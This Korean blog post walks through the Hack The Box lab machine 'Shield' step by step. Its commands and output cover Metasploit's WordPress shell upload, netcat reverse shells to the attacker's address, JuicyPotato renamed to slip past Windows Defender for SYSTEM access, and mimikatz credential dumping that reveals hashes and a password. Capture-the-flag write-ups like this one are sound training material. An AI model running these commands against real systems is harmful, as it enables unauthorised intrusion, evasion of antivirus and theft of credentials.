root@j4sper:~#

Starting Point | Shield 본문

Walkthrough/Hack The Box

Starting Point | Shield

j4sper 2021. 3. 31. 20:00

Vaccine 다음 단계인 Shield를 시작한다. Shield 단계를 시작하기전 Shield를 진행하면서 필요한 파일을 저장할 디렉터리를 만든다.

디렉터리를 만들었다면 이제 nmap을 사용해 포트 스캔을 진행한다.

nmap으로 80번과 3306번 포트가 열려있다는 것을 알았다.

Microsoft 사에서 만든 IIS 웹 서버가 80번 포트에 열려있다. 브라우저를 통해 80번 포트로 접속한다.

IIS 시작 페이지?가 나왔다. 여기서는 아무런 정보를 얻을 수 없으니 GoBuster를 사용해서 웹 서버에 호스팅되는 하위 디렉터리나 파일들을 검색한다. 필자는 GoBuster가 칼리 리눅스에 깔려있지 않아 다운받았다.

# apt install gobuster
# gobuster dir -u http://10.10.10.29/ -w /usr/share/wordlists/dirb/common.txt

 

모든 스캔이 완료되면 wordpress라는 디렉터리가 있다고 나온다. 나온 결과대로 접속해본다.

접속해 보면 wordpress로 만들어진 블로그가 나온다. 

이런 블로그만 나오고 얻은 정보는 아무것도 없다. 그럼 이제 wordpress 하위 디렉터리나 파일들을 찾아보기 위해 Oopsie에서 사용한 dirsearch 파일을 가지고 온다. 가져와 Oopsie에서 사용했던 명령어 그대로 입력해본다. 스캔 결과에서 wp-login.php 파일을 찾을 수 있는데 이 파일은 아마도 로그인을 할 수 있는 페이지 같다.

# cp -r /home/jasper/HTB/Oopsie/dirsearch .
# cd dirsearch                             
# python3 dirsearch.py -u http://10.10.10.29/wordpress -e php
/home/jasper/HTB/Shield/dirsearch/thirdparty/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.2) or chardet (4.0.0) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8884

Error Log: /home/jasper/HTB/Shield/dirsearch/logs/errors-21-03-30_03-00-20.log

Target: http://10.10.10.29/wordpress/

Output File: /home/jasper/HTB/Shield/dirsearch/reports/10.10.10.29/wordpress_21-03-30_03-00-23.txt

[03:00:23] Starting: 
[03:00:38] 200 -   19KB - /wordpress/LICENSE.txt                                  
[03:00:39] 200 -    7KB - /wordpress/README.HTML                        
[03:00:39] 200 -    3KB - /wordpress/README.html
[03:00:39] 200 -    3KB - /wordpress/Readme.html
[03:00:39] 200 -    3KB - /wordpress/ReadMe.html
[03:00:42] 403 -  312B  - /wordpress/\..\..\..\..\..\..\..\..\..\etc\passwd                
[03:01:06] 301 -    0B  - /wordpress/index.php  ->  http://10.10.10.29/wordpress/                                 
[03:01:08] 200 -   19KB - /wordpress/license.txt                                                        
[03:01:18] 200 -    3KB - /wordpress/readme.html                                               
[03:01:28] 301 -  161B  - /wordpress/wp-admin  ->  http://10.10.10.29/wordpress/wp-admin/                         
[03:01:28] 301 -  163B  - /wordpress/wp-content  ->  http://10.10.10.29/wordpress/wp-content/
[03:01:28] 200 -    0B  - /wordpress/wp-content/    
[03:01:28] 500 -    3KB - /wordpress/wp-admin/setup-config.php
[03:01:28] 200 -   69B  - /wordpress/wp-content/plugins/akismet/akismet.php
[03:01:28] 500 -    0B  - /wordpress/wp-content/plugins/hello.php             
[03:01:28] 403 -    1KB - /wordpress/wp-content/upgrade/                                        
[03:01:28] 403 -    1KB - /wordpress/wp-content/uploads/
[03:01:28] 301 -  164B  - /wordpress/wp-includes  ->  http://10.10.10.29/wordpress/wp-includes/
[03:01:28] 403 -    1KB - /wordpress/wp-includes/                
[03:01:28] 500 -    0B  - /wordpress/wp-includes/rss-functions.php
[03:01:29] 302 -    0B  - /wordpress/wp-admin/  ->  http://10.10.10.29/wordpress/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.29%2Fwordpress%2Fwp-admin%2F&reauth=1
[03:01:29] 400 -    1B  - /wordpress/wp-admin/admin-ajax.php
[03:01:29] 200 -    1KB - /wordpress/wp-admin/install.php
[03:01:29] 200 -    0B  - /wordpress/wp-config.php
[03:01:30] 200 -    3KB - /wordpress/wp-login.php 
[03:01:30] 200 -    0B  - /wordpress/wp-cron.php
[03:01:30] 302 -    0B  - /wordpress/wp-signup.php  ->  http://10.10.10.29/wordpress/wp-login.php?action=register
[03:01:31] 405 -   42B  - /wordpress/xmlrpc.php                

Task Completed

wp-login.php 페이지로 접속하면 다음과 같이 워드프레스에 로그인할 수 있는 창이 나타난다.

워드프레스에 로그인 하기 위해서 저번 단계와 같이 아이디에 admin 패스워드는 Vaccine에서 얻은 P@s5w0rd!를 입력했더니 로그인에 성공해 wp-admin.php 페이지로 이동했다. 이 페이지를 통해서 wordpress의 관리 액세스 권한을 얻은 것을 확인할 수 있다.

msfconsole을 통해서 얻은 wp-admin 페이지를 공격할 수 있는지 찾아본다.

# msfconsole
msf6 > search wp_admin

 

공격할 수 있는 모듈을 찾았다. use 0 명령어를 사용해 모듈을 설정할 수 있으며 공격을 위한 옵션을 확인한다.

설정되지 않은 옵션들을 설정해준 뒤 공격을 진행한다. 모든 설정을 마치고 나서 공격을 진행하기 위한 run 명령어 입력하면 미터프리터 쉘을 얻을 수 있다. 얻은 미터프리터 쉘의 시스템 정보를 알아보면 Windows server 2016 운영체제를 사용중인 것을 알 수 있다. Windows server 2016 운영체제에서 발견된 취약점 Rotten Potato를 사용해 해킹할 수 있다.

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD P@s5w0rd!
PASSWORD => P@s5w0rd!
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 10.10.10.29
RHOSTS => 10.10.10.29
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST tun0
LHOST => tun0
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

[*] Started reverse TCP handler on 10.10.14.43:4444 
[*] Authenticating with WordPress using admin:P@s5w0rd!...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/KqOwRodYfQ/CDIdawOmMm.php...
[*] Sending stage (39282 bytes) to 10.10.10.29
[*] Meterpreter session 1 opened (10.10.14.43:4444 -> 10.10.10.29:49688) at 2021-03-30 03:12:41 -0400
[!] This exploit may require manual cleanup of 'CDIdawOmMm.php' on the target
[!] This exploit may require manual cleanup of 'KqOwRodYfQ.php' on the target
[!] This exploit may require manual cleanup of '../KqOwRodYfQ' on the target

meterpreter > 
[+] Deleted CDIdawOmMm.php
[+] Deleted KqOwRodYfQ.php

meterpreter > sysinfo
Computer    : SHIELD
OS          : Windows NT SHIELD 10.0 build 14393 (Windows Server 2016) i586
Meterpreter : php/windows

 

미터프리터 쉘 말고 좀 더 안정적인 접속을 위해 netcat 모듈을 사용한다. netcat을 이용하기 위해서는 미터프리터 쉘에 nc.exe라는 파일을 업로드 해주어야 한다. nc.exe 파일은 아래 명령어와 같이 입력해서 얻을 수 있다. 이 파일을 Shield 디렉터리에 nc.exe파일만 복사해서 가져온다. 또한 Windows server 2016 취약점인 Rotten Potato 취약점을 이용할 수 있는 파일 JuicyPotato.exe를 다운받는다. JuicyPotato.exe는 아래에 사이트에 접속하면 다운받을 수 있다. 

//nc.exe
┌──(root💀kali)-[/home/jasper/HTB]
└─# cd Shield 
┌──(root💀kali)-[/home/jasper/HTB/Shield]
└─# wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
┌──(root💀kali)-[/home/jasper/HTB/Shield]
└─# unzip netcat-win32-1.11.zip
┌──(root💀kali)-[/home/jasper/HTB/Shield]
└─# cp netcat-1.11/nc.exe .

//JuicyPotato.exe
https://github.com/ohpe/juicy-potato/releases/tag/v0.1
┌──(root💀kali)-[/home/jasper/HTB/Shield]
└─# cp /home/jasper/Downloads/JuicyPotato.exe .

가져온 nc.exe JuicyPotato.exe 파일을 미터프리터 쉘에서 아래와 같은 명령어를 사용해 업로드하면 된다. JuicyPotato.exe 파일은 사용하는 과정에서 Windows Defender에서 악성파일로 인식해 걸러내기 때문에 파일 이름을 jp.exe로 변경해 준다.

meterpreter > lcd /home/jasper/HTB/Shield
meterpreter > cd C:/inetpub/wwwroot/wordpress/wp-content/uploads
meterpreter > upload nc.exe
[*] uploading  : /home/jasper/HTB/Shield/nc.exe -> nc.exe
[*] Uploaded -1.00 B of 35.67 KiB (-0.0%): /home/jasper/HTB/Shield/nc.exe -> nc.exe
[*] uploaded   : /home/jasper/HTB/Shield/nc.exe -> nc.exe
meterpreter > upload JuicyPotato.exe
[*] uploading  : /home/jasper/HTB/Shield/JuicyPotato.exe -> JuicyPotato.exe
[*] Uploaded -1.00 B of 339.50 KiB (-0.0%): /home/jasper/HTB/Shield/JuicyPotato.exe -> JuicyPotato.exe
[*] uploaded   : /home/jasper/HTB/Shield/JuicyPotato.exe -> JuicyPotato.exe
meterpreter > mv JuicyPotato.exe jp.exe

 

모든 업로드가 성공적으로 끝났다면 새로운 터미널을 열어 1234번 포트를 netcat으로 리스닝을 시작한다.

대기중인 netcat 1234번 포트로 접속하기 위해서는 미터프리터 쉘에서 다음과 같은 명령어를 입력한다. IP 주소는 자신의 VPN 주소를 입력하면 된다. 프로세스가 생성되었다고 나오면 netcat으로 열어둔 1234번 포트에서 연결이 되었는지 확인한다.

meterpreter > execute -f nc.exe -a "-e cmd.exe 10.10.14.43 1234"
Process 3148 created.

아래는 netcat 연결 상태이다.

연결이 성공적을 이루어졌다. 아까 업로드한 취약점을 사용하는 파일인 jp.exe 파일을 사용하기 위해서는 shell.bat이라는 파일에 코드를 추가해 준다. 1234번 포트에서 실행되는 리버스 쉘에서 파워셀을 실행하고 IP를 자신의 IP 주소로 바꿔주는 코드다.

C:\inetpub\wwwroot\wordpress\wp-content\uploads> echo START C:/inetpub/wwwroot/wordpress/wp-content/uploads/nc.exe -e powershell.exe 10.10.14.43 1111> shell.bat

shell.bat 파일을 생성 후 새로운 터미널을 열어 netcat으로 또 다른 포트 1111을 리스닝 해준다.

다음으로 jp.exe 파일을 아래와 같은 명령어로 실행시켜 netcat으로 쉘을 얻는다.

C:\inetpub\wwwroot\wordpress\wp-content\uploads> jp.exe -t * -p C:/inetpub/wwwroot/wordpress/wp-content/uploads/shell.bat -l 1337
jp.exe -t * -p C:/inetpub/wwwroot/wordpress/wp-content/uploads/shell.bat -l 1337
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\inetpub\wwwroot\wordpress\wp-content\uploads>

Ok라고 출력되면 리스너에서 쉘을 얻었는지 확인한다.

리버스 쉘을 얻었다. root.txt 파일은 C:/users/Administrator/Desktop에 있다.

PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> cd C:\users
PS C:\users> dir


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-----         2/7/2020   3:43 AM                Administrator                 
d-r---       11/20/2016   5:24 PM                Public                        
d-----        2/13/2020   9:50 AM                sandra                        


PS C:\users> cd Administrator
PS C:\users\Administrator> dir


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-r---        2/13/2020  11:34 AM                Contacts                      
d-r---        2/13/2020  11:34 AM                Desktop                       
d-r---        2/13/2020  11:34 AM                Documents                     
d-r---       12/14/2020   2:24 PM                Downloads                     
d-r---        2/13/2020  11:34 AM                Favorites                     
d-r---        2/13/2020  11:34 AM                Links                         
d-r---        2/13/2020  11:34 AM                Music                         
d-r---        2/13/2020  11:34 AM                Pictures                      
d-r---        2/13/2020  11:34 AM                Saved Games                   
d-r---        2/13/2020  11:34 AM                Searches                      
d-r---        2/13/2020  11:34 AM                Videos

PS C:\users\Administrator> cd Desktop
PS C:\users\Administrator\Desktop> dir


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
-ar---        2/25/2020   1:28 PM             32 root.txt                      


PS C:\users\Administrator\Desktop> type root.txt
6e9a9fdc6f64e410a68b847bb4b404fa

root flag 6e9a9fdc6f64e410a68b847bb4b404fa를 얻을 수 있다.

그리고 users 디렉터리에서 Administrator 계정이 아닐 sandra라는 계정이 있었다.

sandra 계정의 암호를 알아내기 위해서는 mimikatz를 사용하여 캐시 된 암호를 덤프할 수 있다. 

mimikatz 파일을 찾아낸 후 Shield 폴더로 복사해 온다.

┌──(root💀kali)-[/home/jasper/HTB/Shield]
└─# locate mimikatz 
...
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe
...
┌──(root💀kali)-[/home/jasper/HTB/Shield]
└─# cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .

복사한 후 미터프리터 세션에서 mimikatz.exe 파일을 업로드 해준다.

meterpreter > lcd /home/jasper/HTB/Shield
meterpreter > cd C:/inetpub/wwwroot/wordpress/wp-content/uploads
meterpreter > upload mimikatz.exe
[*] uploading  : /home/jasper/HTB/Shield/mimikatz.exe -> mimikatz.exe
[*] Uploaded -1.00 B of 1.25 MiB (0.0%): /home/jasper/HTB/Shield/mimikatz.exe -> mimikatz.exe
[*] uploaded   : /home/jasper/HTB/Shield/mimikatz.exe -> mimikatz.exe
meterpreter > 

업로드를 마친 뒤 리버스 쉘에서 업로드 된 파일의 위치로 이동 후 mimikatz.exe 파일을 실행시킨다. mimikatz를 실행하고 sekurlsa::logonpasswords 명령어를 사용해 계정 암호를 추출할 수 있다.

PS C:\users\Administrator\Desktop> cd C:/inetpub/wwwroot/wordpress/wp-content/uploads
PS C:\inetpub\wwwroot\wordpress\wp-content\uploads> ./mimikatz.exe
/mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
  
mimikatz # sekurlsa::logonpasswords

...

Authentication Id : 0 ; 282556 (00000000:00044fbc)
Session           : Interactive from 1
User Name         : sandra
Domain            : MEGACORP
Logon Server      : PATHFINDER
Logon Time        : 3/30/2021 7:10:29 AM
SID               : S-1-5-21-1035856440-4137329016-3276773158-1105
        msv :
         [00000003] Primary
         * Username : sandra
         * Domain   : MEGACORP
         * NTLM     : 29ab86c5c4d2aab957763e5c1720486d
         * SHA1     : 8bd0ccc2a23892a74dfbbbb57f0faa9721562a38
         * DPAPI    : f4c73b3f07c4f309ebf086644254bcbc
        tspkg :
        wdigest :
         * Username : sandra
         * Domain   : MEGACORP
         * Password : (null)
        kerberos :
         * Username : sandra
         * Domain   : MEGACORP.LOCAL
         * Password : Password1234!
        ssp :
        credman :

...

계정 sandra의 패스워드 Password1234!를 알아냈다.

'Walkthrough > Hack The Box' 카테고리의 다른 글

Starting Point | Pathfinder  (0) 2021.04.14
Starting Point | Vaccine  (0) 2021.03.29
Starting Point | Oopsie  (0) 2021.03.25
Starting Point | Archetype  (0) 2021.03.17
Hack The Box 가입하기  (0) 2021.03.09
Comments